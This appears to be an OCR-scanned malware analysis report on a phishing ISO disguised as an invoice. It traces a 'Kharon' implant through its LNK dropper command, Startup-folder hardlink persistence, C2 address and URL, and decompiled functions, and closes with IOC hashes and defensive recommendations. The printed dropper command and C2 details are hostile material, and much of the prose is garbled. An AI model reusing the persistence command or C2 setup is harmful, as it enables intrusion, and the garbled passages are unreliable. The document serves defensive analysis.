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This report has limitations and should be interpreted with caution!
Some of these restrictions include:

First phase:
Sources of information: The report is based on information available at the time of its preparation.
However, some aspects may differ from actual developments.

Second phase:
Analysis details: Due to resource limitations, some aspects of the malicious file may not have been
analyzed in depth. Any additional unknown information may reflect changes in the report.

Third phase:

Information Security: To protect sources and confidential information, some details may be
redacted or not included in the report. This decision was made to maintain the integrity and security
of the data used.

AKSK reserves the right to change, update, or amend any part of this report without prior
notice .

This report is not a final document.

The findings of the report are based on the information available at the time of the investigation
and analysis. There is no guarantee regarding possible changes or updates to the information
reported during the subsequent period. The authors of the report do not assume responsibility for
the misuse or consequences of any decision-making based on this report.

Informatlon Tech

ISO file format , identified as part of a phishing campaign. The ISO file was used as a distribution
mechanism to bypass email security filters and increase credibility with the victim, posing as a
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legitimate document (e.g. invoice, contract or official document).

File analysis

Invoice#0014436.iso file is an iso or ISO image format file which is used to archive or create
bootable programs.

File name

C:\Users\flare\Desktop\Invoice#0014436.is0

File type File size

Binary 164.00 KiB

Scan Endianness Maode Architecture Type

Automatic LE Unknown NOEXEC Unknown

* Binary
Format: 1SO 9660

Figure. 1. ISO file

Specifically, the ISO file, if clicked, will only display a document named
Invoice#0014436.pdf.Ink , which if we check its properties will show that it contains a command:

%ComSpec% /¢ start /MIN Invoice#0014436.pdf && type '"img.jpg" >
"C:\ProgramData\img.jpg" && mklink /h "%APPDATA%\Microsoft\Windows\Start
Menu\Programs\Startup\searchmgnr.exe" C:\ProgramData\img.jpg && start
C:\ProgramData\img.jpg

This command itself accesses a file Invoice#0014436.pdf and, using type, writes the contents of
the file img.jpg to the ProgramData directory. and through mklink creates a hardlink with the
name searchmgnr.exe but this link itself refers to the file img.jpg. So this file will be executed
every time the computer is turned on.
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@ Invoice#0014436.pdf.Ink Properties X

Colors Terminal Details
General Shortcut Options Font Layout
i'ﬂﬂ Invoice#0014436 pdf Ink

Targettype: File

Targetlocation:

P=ComSpec? /c start/MIN Invoice#0014436.pdf 88 ty||

Target |

Startin: | |

Shortcut key: |N0ne |

Run: Minimized w7

Comment | |
Open File Location Change Icon... Advanced...

Figure. 2. Hidden command

This means that the img.jpg file is not a single file but an executable file. To see these files, we
need to enable the View Hidden Files option in Windows .

This PC > DVD Drive (G:) v &) O Search DVD Driy

~ Name Date modified Type Size
ima.jpa 2/19/2026 6:06 PM JPEG image T4 KB
@ Invoice#0014436.pdf 2/19/2026 6:06 PM Microsoft Edge PD... 26 KB
] Invoice#0014436.pdf.Ink 2/19/2026 6:06 PM Shortcut 3KB

Fig. 3Contents of the iso file

img.jpg file is an executable file, which is evidenced by the file header from Magic Bytes 4D 5A.
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Lu.- HxD - [GAimg.jpg]

& File Edit Search View Analysis Tools Window Help
Y-l B P @~ 3416 || windows (ANS)
&) img.jpg
Cffsect(h) 00 01 02 03 04 05 06 07 08 05 OA OB
oooooooo 00 03 00 00 00 04 00 00 OC
00000010 B8 00 00 Q00 00 0O QO QOO 40 00 Q0 OC
00000020 00 00 00 Q00 00 0O QO QOO 0O 0O Q0 Oc
00000030 00 00 00 Q00 00 0O QO QOO 0O 00 Q0 Oc
00000040 OFE 1F BA OE 00 B4 09 CD 21 BS 01 4C
00000050 €9 73 20 70 72 6F €7 72 61 €D 20 &3
00000060 74 20 €2 €5 20 72 75 €E 20 €9 €E 2
00000070 6D 6F €4 €5 2E 0D 0D OR 24 00 00 O
00000080 50 45 00 00 64 86 04 00 SF 3D 97 &5
00000090 00 ) 00 ) FO 00 2E 02 0B 02 02 28

hex

W W

OC 0D QOE OF Decoded text
) FF FF 00 00 [ MZ.......... ¥
) 00 00 00 00 Lewevann B.vvenns
) 00 00 00 00 | wuvvennnnnnnnnns
) 80 00 00 00| vevvvnnnnnns £...
~ CD 21 54 &8 @ fr,.Li'Th

€l 6E 6E &F ls program canno
) 44 4F 53 2 t be run in DOS
) Q0 00 00 0 MO . e v s Pannnnns

00 00 00 PE..dt.. =-1i.

00 1C 01 - PP ).

Figure. 4. img.jpg Magic Bytes

DAT 140010260 Static data block (HTTP/beacon)
It is a static payload of ~0xS1E bytes that other functions copy and use as an HTTP/C2 request

e IP (UTF -16LE): 62[.]171[.]165.11
etc.

User -Agent (UTF16LE): Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...
Header -a (UTF16LE ): Content- Type : application/ json , Accept : application/ json ,

Numeric value between ( probably) length , code , port, etc. )

Oh

44| param 1[0x10] = &DAT 14001025k;
el [ - -
o 45| param 1[0xl11l] = &DAT 14001025k;
46 *(undefined4 *) (param 1 + 0xl18) = 0;
21 2 -
o 47 *(undefinsd2 *) ( (longlong)param 1 + Oxcé) = 0;
48| param 1[0x17] = 0x100000000;
EH -
o 45 *(undefinedd *)( (longlong)param 1 + Oxb4) = 0;
N N 50 et — ) 0;
o 51 param_1[0xla] = &DAT 14001025c;
52| MEEram TR IR T Iy
T 7 - -
o 53| param 1[0xlc] = &DAT_14001025c;
54 *(undefined4 *) (param 1 + 0Oxld) = 1;
1H 1 -
o 55| plvarS = (longlong *)FUN_14000d50e (* (longlong
1) FUN 140006a27((longlong)local 568,0x140010260,
EH - -
o 57 1Vare = FUN_14000d50e(* (longlong **) (1VarlO +
58| *plVar> = 1lVarék;
1H 1
o 59 FUN_14000667= (1Vare, (longlong) local 568, 0x51e)
(0] plvar5[1l] = *plvVar5;
3 G
£1 =12+ E721 = NeS1=NnnnnGt -
OF <
W
== = 0, ) i ;
2 Decompile: FUN 14000efoa % pay Defined Strings X

Figure. 5IP C2
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function FUN_14000ef9a RAISES structure INITIAL THE configuration ABOUT
COMPONENT THAT communicates with the server (C2). Prepares parameters , loads OTHER
USEFUL value THE predetermined , and more AFTER pars-on A list objects THE TAKEN BY
CHANNEL The communication .

1.

It requires IN A table THE INTERNAL an element with a specific "magic value"
(0x545152545889). This USE ABOUT THE found context IMPLEMENTING where
saved functions , allocator , and reader The THE data .
Completes A structure configuration :

o Constant GUID

o Path to A PRocess THE legitimate ( notepad.exe) that will USE as "host"

o A local pipe named \\.\pipe\ kharon pipe

o Some flag -fields and default pointers-
charges A block THE GREAT THE given static (0x51E bytes ), i WHAT CONTAINS
HTTP request , headers, User-Agent , etc.
Reads from CHANNEL The INTERNAL number of elements THAT MUST THE
deserialize . For each element allocates memory and reads THE RECORDS according to
A scheme format . There are three FORMATS THE possible (100h, 150h, 200h).
Structures THE all THESE objects and stores them in an array inside structure OF THE
configuration .

function prepare THE all "session state" for communication with C2. Many BY THE RECORDS
ARE constant . Parsing logic indicates that the tool GET " to-do " list or NATURE THE
COMPLICATED direct BY server .
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Decompile: FUN_140008f3: % i.Ro | |2 |y X
P

22 do |

23 1varld = *{longlong *) (*{longlong *) (1Varé + O=xi
24 1f ({1VarlD != 0) && (*(longlong *) (1VarlD + Oxa
25 uVarf = uVarg + 1;

26 } while (uVar9 != uvari);

27 }

28 1varl0o = 0;

29LAB 14000=ffb:
30| *param 1 = "c3eBbffd-d8533-4£5c-a243-bBceBacbTefa";

31| param 1[1] = 0x3200007530;

32| param 1[4] = 0x200000001;

33 * (undefined4 *) (param 1 + 3) = 0x100;
34| param 1[2] = 0x5050505050505050;

35| param 1[3] = 0x30350303030303030;

36 * (undefinsdl *) (param 1 + 0Oxl12) = 1;

37 *(undefin=d4 *

1t Ogoan = 1 -

38| param 1[0xk] L"C: \\Windows\\System32\\notepad. exe|
39| param 1[0xc] =‘ "W O Wvpipel\Zkharon pipe";l

40 * (undefined4 *) (param_1 + 0Oxle) = 0;
41| param 1[0x15] = 0;
42| param 1[0Oxe] = &DAT 14001025b;

Fig . 6Structure configuration

FUN 14000ed48 serves ABOUT THE OPEN A object THE targeted ( often process ) with
privileges THE enough , for THE TAKE a handle of available ABOUT to , and then for THE
created A structure new to BASED IN that handle.

Logic :
1. Trying THE TAKE the privilege SeDebugPrivilege ABOUT THE OPEN FACILITIES
THE protected .
2. tries THE DISCLOSE accessible facility THE high . If NOT succeed , use access MORE
THE low .

3. Use A function THE INTERNAL ABOUT THE found A under -the object WITHIN to
that handle -of .

4. whether is found , it duplicates the handle -in with a method THE vtables and reopen it
with parameters THE different .

5. Hand over the handle -to the final function. FUN 14000e9ba THAT builds structure final
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uint * FUN_14000=d48 (longlong *param l,uint param 2)

int iVarl;
longlong 1lvarZ;
ulonglong uVar3;
uint *puVar4;
longlong local 30;
longlong local 28;

local 30 = -1;

local 28 = -1;

1Var2 = FUN_14000s4cé (param_1);
£ (Jvazs 1= 0y

FUN_14000=cce (param_1,1VarZ, "SeDesbugPrivilege");
(**(code **) (*param_ 1 + 0x740)) (1VarZ);

}

1var2 = FUN_14000de0a (*{longlong **) (*param_ 1 + 0Oxe8),0x1000,0,param_ 2);
if ({1 < 1varZ2 + 11T) ||

(lvar2 = FUN_14000dela (*(longlong **) (*param 1 + 0x&8),0=400,0,param Z

uVar3d = FUN_14000e3fc(param 1,1Var2,10,&local 20);
if (((int)uVar3 != 0) && (local 320 != -1)) {

[FE T 6 T S e T Y TN = = TS Y T .0 ™ S % O TR =T o N ' N = TS I SO 3 [ N T o5 T =

Fig 7Function 1400ed48

FUN_14000703e

Builds two versions of the URL THAT uSED ABOUT HTTP communication one in Unicode and
a in ASCIL.

allocate two buffers , one wide and one ASCII.

place protocol (http:// or https:// depending on A argument ).

Get the host and port BY settings introductory .

Compose the full URL with the following order :

scheme + host + ":" + port + path

Write the URL in THE two buffers using primitive THE Formatting BY vtable .
— This function builds endpoints -for HTTP requests .

— Result It 's applicable IN the structure of the object that will use then for communication
with the server .

A S
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G a.

Ro |

=L

‘C,e Decompile: FUN_14000703e - (img.pa)
4|1
Il S| longlong lvarl;
6| undefinedf ul ;
7| undefined *p 3;
8| wchar t *pwV
9| undefined8 local_50;

10| undefined4 local 48;
11
12 local_48 = 0;
13| local_ 30 = 0;
14| 1varl = FUN_14000d50e(* (longlong **) (*param 1 + 0Oxe0),0x410);

15 *(longlong *) (param 2 + 0x18) = 1lVarl;

16| 1varl = FUN_14000d50e(* (longlong **) (*param_ 1 + 0x60),0x208);
17| *(longlong *) (param_ 2 + 0x20) = 1lVarl;

18| [uVarZ = 0;

18 |if ((lvarl != 0) && (*(longlong *) (param 2 + Ox18) != 0)) {
20 (**(code **) (*param_1 + 0x3b0)) (&local_ 50, &DART_14000£c4Z, *{undefinsd4 *) (param_3 + 1));
21 pwVar4 = L"https://";

22 if (param 4 == 0) {

23 pwVar4 = L"http://";

24 }

25 puVar2 = *(undefined **) (param 2 + 0x28);

i A E loraaTTm 2D —— feammdemEamm]l hd Diaeii) r

Fig. 8. function FUN_14000703¢

function FUN_140008ae4 IS A BY parts MORE complex THE component THE communication

. Since IN BEGINNING It is distinguished by its dealing with:
o Preparation of structures THE request ,
o Selecting the HTTP method (GET or POST),
o Sending the request ,
e Receiving and verifying the response ,
o Integrity checking and decoding ,
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Decompile: FUN_1400083e4 - (imaipg) ¥s o= RO = [ el
Te ocal TIcE = U7
77 local 1d0 = (char *)0=x
78| local_1dB8 = 0;
T local_1le0 = (char *)0=x
80 local_la0[1] = 07
81 local 1a0[0] = 07
82| local 10 = param 3;
83| 1if (*(int *) (puVar2 + 2) == 0x200) {
B84 uvaré = FUN_1400063£3();
85 if ((uVaré & 1) == 0) goto LAB 140008b%b;
86 LAB 140008bbl:
87 plvarld = puVarld + Oxb;
88 pwVar7 = L"POST";
89
S0 else |
91 if (*(int *) (puvar3 + 3) == 0x150) goto LAB 140008bbl;
92(.aB_140008b%b:
93 plVarll = pyuVard + 4;
94 pwVar7 = L"GET";
95 T
96| plvarlg = &l:-cal_123;|
97 plvarl4 = plvarls;
p

Fig 9Function FUN_140008ae4

function FUN_1400112b4 serves as a function "resolver": it takes a string representing a function
name and returns its address.

1.
2.

3.

e

Hashon the name given with a FNV algorithm modified (case-insensitive).
Compares hash -in with a table THE INTERNAL which has about 40 pairs [hash pointer
function J.
CONTROLS OTHER USEFUL CASES THE special THE hand - coded where
REMANDS direct of functions THE vtables OR label THE CERTAIN inside binary -t.
whether the name has the form module$function , then :
Builds module.dll
Trying THE ago MODULE either by hash or by name
Calling A routine type “ GetProcAddress ” for THE TAKE function address IN
module
whether NOT Available nothing , returns NULL.
This type of resolver IS LOT The ordinary IN loaded vehicles dynamically , especially IN
implants /LOADER -a. It allows CODE THE hide imports and resolve APIs only IN AGE
execution .
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4 Decompile: FUN_1400112b4 - (img.jpg) ¥ &. Ro | [ | = | i

22
232
24
23
26
27
28
29
30
31
3z
33
34
35
36
37
38
39
40
41
42

AN

undefinedd auStack 170 [4];
undefinedd uStack

byte local 140 [26

pbVarle = (byte *) (param 2 + €);

saroEo -~ 170 M0 = O] A00]] Jgo-

uVar7 = FUN _140006bde ( (longlong)pbVarlé, "Beacon");

if ({int)uvar7 == 0) |
auStack_170[0] = 0x140011307;
uVar7 = FUN_140006bde ((longlong)pbVarlée, "ax") ;
if ((int)uvar7 == 0) |
bvarl2 = *pbvVarlé;
puVarll = (undefinedl *)0x0;
goto LAB 14001138d;

1
bVvarlZ = *(byte *) (param 2 + ©);

puvarll = (undefinedl *)0x0;

1lvarl3 = 0;
do |
if (bVarl2 == 0} |

TF [ S o R i [N il il W

Figure . 10Evidence BEACON string

FUN 140007fle It is A function multifunction ABOUT HTTP communication and is used
ABOUT THE read body, headers and cookies from a response.

First it asks body size with one code specific .

whether MAGNITUDE KNOW allocate buffer and reads it THE in a whole at once .
If not, it reads in 4KB blocks and increments. buffer gradually .

Returns the pointer and the length .

GET THE all headers as Unicode text .

compares header names IN case-insensitive manner .

If found : copies it VALUE to ASCII/UTF -8 and converts it HOW answer ,

gene a cookie from “ -Cookie Set”
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-

- (ima.jpa)

3588 sVarl8 = psVar5[1lvarl4];

359 if (sVarl8 == 0) break;

400 sVarl9 = sVarl8 + 0x20;

401 if (0x19 < (ushort) (sVarls8 - 0x41U)) {

402 =VarlS = svarli;

403 }

404 *(short *)((longlong)é&local 498 + 1lVarl4 * 2} = sVarl3;

405 1varl4 = 1lvarld + 1;

406 } while (1varl4 != 0xb);

407 Jlvzxld = 0:

408| |do {

409 if (*(short *) ((longlong)&local 498 + 1lvarl4) != *(short *)((longlong)L| + 1varld)
)

410 {

411 cVar3 = (char)pivVar2l;

412 goto joined rUxUODIZ0UUEe4cy

413 }

414 1varld = 1lvarld + 2;

415 } while (1Varl4d != 0xl€);

416| local_4b8 = (short *)CONCAT44 (local_4b8. 4 4 , (int)piVar2l);

417| psVarl3 = psVarS + Oxc;

418 for (psVar8 = psVar5S + Oxb; (*psVar8 == 0x20 || (*psVar8 == 9)); psVar8 = psVard + 1) {

Fig. 11 Setting the cookie as a header.

[E5 ™ Broarkpomts e [ermory wap 7 Call Stack S SEH 7] STIPT =T Symbor [u]0] gul:3 7 RETerences ¢ [reads | g Hahdies . g 1taig
®|[D0DD7FFED1EZ8AEC 56 push rsi
®| 00007FFED1E28AED 57 push rdi
®| DDD0FFFED1E28AEE 55 push rbp
e 00007FFED1E2BAEF 53 push rbx
®| 00007 FFED1E28AFOQ 48:81EC FE0L10000 sub rsp,1F8
| 00007 FFED1E28AFT 4D:89C6 mov rl4,r8
@ 00007 FFED1E2BAFA 49:89D7 mov rl5,rdx
®|| 00007 FFED1E28AFD 48:89CB mov rbx,rcx
| 00007FFED1E28B00 4D:85C0 test r8,r8
e 00007FFED1E28B03( ~ 74 09 je img.7FF6DLE2BBOE
@ 00007FFED1LEZERBOS 31co XOr eax,eax
@l 00007FFED1E28B07 49:8946 08 mov gqword ptr ds:[rl4+8],rax
e/ 00007FFED1E28B0B 49:8906 mov gqword ptr ds:[rl4],rax
l-@|| 00007 FFED1E2BBOE 48:8DBC24 BOO0ODODO Tea rdi,qword ptr ss:|[Irsp+B0J
el 00007FFED1E28B16 C747 58 00000000 mov dword ptr ds:[rd1'+58§,0
®|| 00007FFED1E28B1D 31F6 xor esi,esi
@ 00007 FFED1E2E8B1F B9 15000000 mov ecx,l15
@ 00007FFED1E28B24 31co X0OF eax,eax
®| 00007FFED1E2EB26 F3:AB rep stosd
@ 00007 FFED1E28B28 48:8803 mov rax,gword ptr ds:[rbx]
@l 00007FFED1E2E8B2B €780 94010000 7000000mov dword ptr ds:[rax+194],70 70:'p’
|| 00007FFED1E28B35 EE BODEFFFF call img.7FFEDLE263F3
@| 00007FFED1E28B3A 48:8B0B mov rcx,qword ptr ds:[rbx]
e/ 00007FFED1E28B3D 31p2 xor edx,edx
®| 00007FFED1E28B3F F7Bl1 98010000 div dword ptr ds:[rcx+198]
| 00007FFED1E28B45 48:8881 A0010000 mov rax,qword ptr ds:[rcx+1a0] - —_—— —
®|| 00007FFED1EZ28BAC 4C : 8B2CDO mov rl3,qword ptr ds:[rax+rdx®g8] r13:&."62.171.165.11"
@ 00007FFED1E28B50 4D:85ED Test ri3,rl3 ri3:&L."62.171.165.11"
e 00007FFED1E2EBB53 ~ OFB4 67040000 je img.7FFEDLEZBFCO
] 31co XOF eax,eax
b 48:894424 70 mov gqword ptr ss:[rsp+70],rax
48:894424 68 mov_aword ptr ss:lfrsp+68l.rax

Fig. 12IP C2 long execution
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g oy oL =T JCITpT =T JFIIouTS T ToETET ST TS L R ) WO T TOTTOTE = L] TTooe

lea rax,qword ptr ds:[7FF6DLEZFC30] 00007FFED1EZFC30: L "GET"
jmq img. 7FFE6D1E2BBBC
call img.7FFEDLE263F3
test al,l

Tea rsi,qword ptr ds:[r13+20] rsi:&L " agent_name=kharon&maded_by=obTivion™, [r13+20]:& wvai

?e img. FFFEDLEZE8B9B

call img.7FFED1LE263F3
xor edx,edx
div dword ptr ds:[r12+8]

lea rsi,qword ptr ss:|irbp+a0]
lea ri14,qword ptr ss:|frsp+1a0] o
mov ecx,B B: W
mov rdi,rl4

rep movsq

lea rsi,qword ptr ss:[rbp+&]
lea rax,qword ptr ss:|[rsp+148] o
mov ecx,B B: W
mov_rdi,rax

ea rsi,qword ptr ds:[r13+58] rsi:& "agent_name=kharon&maded_by=oblivion”, |[r13+58] :&"api
lea rax,gword ptr ds:[7FF6D1EZ2FC38] 00007FFeRlF2EC 3R] "POST"

mov gword ptr ss:rsp+40],rax [Frsp+40] :L"GET"

lea ri12,qword ptr ss:|rsp+110] [rsp+110] :&"vaiE " \x01"

mov ecx,’

mov rdi,rl2 riz2:&"paje’ " \xo1"

rep movsg

mov rsi,qword ptr ds:[rl2] rsi:& "agent_name=kharon&maded_by=oblivion", [rl12]:&"vaie’

mov rbp,qword ptr ds:[rsi+rdx*8] [rsi+rdx*8] :L"agent_name=kharon&maded_by=oblivion"

Figure. 13Agent name hardcoded

E6 jmp img.7FFGD1E28001

LB 4C:8D8424 A0000000 ea r8,qword ptr ss:[rsp+a0] [rsp+A0] : " 813moki6xj0T0ZPFcsn/PauL /FsY6310R43TynmF /w2nDbb7 Er
18930 mov dword ptr ds:[r8],rlad

4C:BD8C24 A0020000 1

6 ea r9,qword ptr ss:[rsp+2a0]

PE 41:C701 04000000 mov dword ptr ds:[r9],4

B 5 44 :897424 50 mov dword ptr ss:[Irsp+50Q,ridd

A 49:8B45 00 mov rax,gword ptr ds:[r13] [r13]:0L"62.171.165.11"
E 48:C74424 20 0000000¢mov qword ptr ss:[irsp+20],0

k7 48:89D9 mov rcx,rbx

Ba BA 05000020 mov_edx, 20000005

hE FF90 38040000 Ealll qword ptr ds:[rax+a3s]

b5 49:884D 00 mov rcx,qword ptr ds:[r13] [r13]:L"62.171.165.11"
b9 48:8849 60 mov rcx,qword ptr ds:[rcx+60]

FD 85c0 test eax,eax

bF ~ OF84 FE020000 je img.7FFEDLE28363

5 889424 A0000000 mov edx,dword ptr ss:[Irsp+a0]

iC 85D2 Test edx,edx

E| ~ OF84 EF020000 je img.7FFED1E28363

F4 83c2 20 add edx, 20

F7 E8 92540000 €all img. 7FFED1EZDS0E 7

RE 0000000000CC000C
RO 00000001001FF318
R10  0000000000000013

R11  00000001001FFO70

R12 00000001001FF410 &
R13 000001FBED4F0O7 50 &
R14 00000001001FF4A0

R15 00000001001FF538

RIP 00007FFEDLE27F1E i
RFLAGS 0000000000000344
ZF1 PF1 AF O

OF 0 SFO DFO

CEO0 TE1 TF 1

<

Default (x64 fastcall) v |5

>

813moki6xj0I0ZPFcsn/PauL/fsy&110R4 3TynmF /W2 nDbb7 Er 7 HwOy0+DL41+UMZXaxZUvump0i svold9ytMIsyjPPLUKNGCUbK1SCWqpixHI11he /oTMDMEE8K0Zg214

1: rcx D00001FBED851CE0
2: rdx 0000000000000000
3: r& 0000000000CCO00C
4: r9 00000001001FF318
5: [rsp+28] 0000000000000003

|001FBED50BDED | "813moki6xjOI0ZPFcsn/PauL /TsyY61 TORA3TynmF /wW2nDbb7Er7 Hwoy0+Dt41+UMzXaxZUvumb0isvold9ytMIsyJPpLUKNGEubKISCwWqpjxHII Thy
00000000002E8
000CE800000004
0000000CC0004
0000000CCA0OE,

'oTmDM66BK0Z g2 TAZopTrcpVpmhKt

0000000Cq000C
001FBED5(B940 (L https://62.171.165.11:5124 /routed”
001FBED5QAC00 ("https://62.171.165.11:5124 /routed”
00LFBED5SM4 800 |L" /routed 7agent_name=khar on&maded_by=0bTlivion"
0000000000000

00000000002E8

00LFBEDSUC280 | "813mokiexjOI0ZPFcsn/PauL /FsY6110R43IynmF /W2nDbb7Er 7HWOY0+DT41+UMZXaxXZUvumD01 svold9ytMISy jPPLUKNGCUbKLSCWapjxHIITh4d /0TmDME68K0Zg2 1A20p i r cpVpmhKE,
00LFBEDSNY58EQ |&"813moki6xjOI0ZPFcsn/PauL/fsY6110R4 3TynmF /W2nDbb7 Er 7HWOY0+DL41+UMZXaxXZ UvumD0i svold9ytMIsy jPPLUKNGCubK1SCWqpjxH911hd /oTmDMEE8K0Zg21A2opir cpvpmhiy
2z

0000000000000

Fig. 14 communication url and path /route4

Indicators of Compromise

2781BEID7FS8S8FEA111ACI95F4135ECD618CE9EAC42F402BFB48E9S6BEF267E
29D

Invoice#0014436.iso

91FC23972D6B9037C3A2110ACOFAD2B3B61AFA1BF19887E7785A1257B1F38F
19

Invoice#0014436.pdf

098BIE92CAS3E284B3CD745472069AB16CA457E064CABE7D7B477DB4E364E709

Invoice#0014436.pdf.
Ink
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RECOMMENDATIONS

The National Cyber Security Authority recommends:

» Immediate blocking of Indicators of Compromise, mentioned above in

your protective equipment.

» Continuous analysis of logs coming from SIEM (Security information and Event
Management)

Management).

* Training non-technical staff about “Phishing” attacks and ways to avoid infection

from them.

* Installing network perimeter devices that perform deep traffic analysis by

based not only on access list rules but also on its behavior (Firewalls

NextGen).

* The identified systems should be segmented into different VLANS, applying “Access
control list for the entire network perimeter", web services must be separated from the Database
their Active Directory must be on a separate VLAN.

* Application and use of the LAPS technique for Microsoft systems, for managing

Local Administrator passwords.

* Apply traffic filters in the case of remote access to hosts (employees/partners)

third parties/clients).

* Implement solutions that filter, monitor, and block malicious traffic

between Web applications and the internet, Web Application Firewall (WAF).

* Conduct traffic analysis at the behavior level for end devices, applying

EDR, XDR solutions. This brings the analysis of malicious files not only at the signature level
but also at the behavioral level.

* Design the solution for managing user access “Identity Access”

Management” to control the identity and privileges of users in real time according to

the "zero-trust" principle.
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